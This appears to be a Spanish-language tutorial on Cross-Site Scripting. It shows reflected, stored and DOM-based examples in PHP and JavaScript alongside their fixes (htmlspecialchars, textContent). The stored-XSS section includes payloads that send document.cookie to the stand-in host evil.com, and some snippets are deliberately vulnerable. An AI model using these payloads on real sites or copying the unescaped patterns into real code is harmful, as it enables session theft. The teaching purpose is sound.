¿Qué es Cross-Site Scripting?

<?php
$nombre = $_GET['nombre'];
// ❌ Input sin escapar en el HTML
echo "<h1>Hola, " . $nombre . "</h1>";
?>

/* URL normal:
   ?nombre=Carlos → <h1>Hola, Carlos</h1>

   URL maliciosa:
   ?nombre=<script>alert(1)</script>
   → <h1>Hola, <script>alert(1)</script></h1>
   → el navegador ejecuta el script ❌ */

<?php
$nombre = $_GET['nombre'];
// ✅ htmlspecialchars escapa los caracteres HTML
$nombre_seguro = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
echo "<h1>Hola, " . $nombre_seguro . "</h1>";
?>

/* URL maliciosa con el fix:
   ?nombre=<script>alert(1)</script>
   → <h1>Hola, &lt;script&gt;alert(1)&lt;/script&gt;</h1>
   → el navegador muestra el texto literal ✅ */

<!-- El atacante escribe este "comentario": -->
<script>
  // Roba la cookie y la envía al atacante
  var img = new Image();
  img.src = "https://evil.com/steal?c="
    + encodeURIComponent(document.cookie);
</script>

<!-- O más silencioso: -->
<img src=x
  onerror="fetch('https://evil.com/steal?c='
    +document.cookie)"
  style="display:none">

<!-- El blog renderiza todos los comentarios -->
<div class="comment">
  <strong>usuario_malo</strong>
  <!-- ❌ El contenido del comentario
       se inserta como HTML sin escapar -->
  <script>
    var img = new Image();
    img.src = "https://evil.com/steal?c="
      + encodeURIComponent(document.cookie);
  </script>
</div>

<!-- El navegador ejecuta el script.
     La cookie llega a evil.com. -->

// La app lee el hash para el saludo
window.onload = function() {
  var name = location.hash.slice(1);
  // ❌ innerHTML es un sink peligroso
  document.getElementById('welcome')
    .innerHTML = 'Hola, ' + name;
};

// URL normal:
// app.com/dashboard#Carlos
// → "Hola, Carlos" ✅

// URL maliciosa:
// app.com/dashboard#<img src=x onerror=alert(1)>
// → el img dispara el onerror ❌
// El hash NUNCA llega al servidor.

window.onload = function() {
  var name = location.hash.slice(1);

  // ✅ Opción A: textContent no parsea HTML
  document.getElementById('welcome')
    .textContent = 'Hola, ' + name;

  // ✅ Opción B: crear nodo de texto
  var node = document.createTextNode(
    'Hola, ' + name
  );
  document.getElementById('welcome')
    .appendChild(node);
};

// URL maliciosa ahora:
// → muestra el texto literal "<img...>"
// → no ejecuta nada ✅